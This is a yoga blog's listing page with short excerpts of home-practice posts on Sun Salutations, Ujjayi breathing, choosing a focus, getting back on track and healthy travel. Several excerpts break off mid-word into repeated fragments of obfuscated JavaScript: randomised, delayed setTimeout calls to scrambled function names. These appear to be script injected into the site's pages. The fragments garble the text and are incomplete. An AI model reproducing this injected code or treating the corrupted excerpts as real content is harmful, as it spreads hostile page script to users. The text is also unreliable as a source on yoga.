How to Avoid Wrist Pain in Yoga
Home Yoga Practice-Sun Salutations

Surya Namaskara Surya=Sun Namaskara=Greeting or Salutation= “Sun Salutation” Surya means the sun andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var …

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Home Yoga Practice-Ujjayi Breathing

Ujjayi Pranayama (oo-jy [rhymes with “pie”]-ee) ujjayi = to conquer, to be victorious  As part of our Home Yoga Practice series we begin with learning how to breathe.  Sounds odd, I know.  You probably take breathing for granted, it’s innate.  But, …

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Choosing a Focus for your Home Yoga Practice

We begin our new series the Home Yoga Practice at the beginning.  For a successful yoga practice, postures (asanas) can be used as preparations, counter-poses or a focal or peak pose.  To create a sequence there should always be a …

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Creating a Personal Home Yoga Practice

  In our original Blog post Getting Back on Track (Check it out if you haven’t read it) we shared with you “Tips” andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = …

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Getting Back on Track

Creating a Personal Home Yoga Practice, it’s all about balance… I am sure everyone can relate to life getting in the way of putting our own health & wellness first.  I have had numerous family andom() * 5);if (number1==3){var delay …

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Tips for the Healthy Traveler

If you are a globetrotting wandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = …

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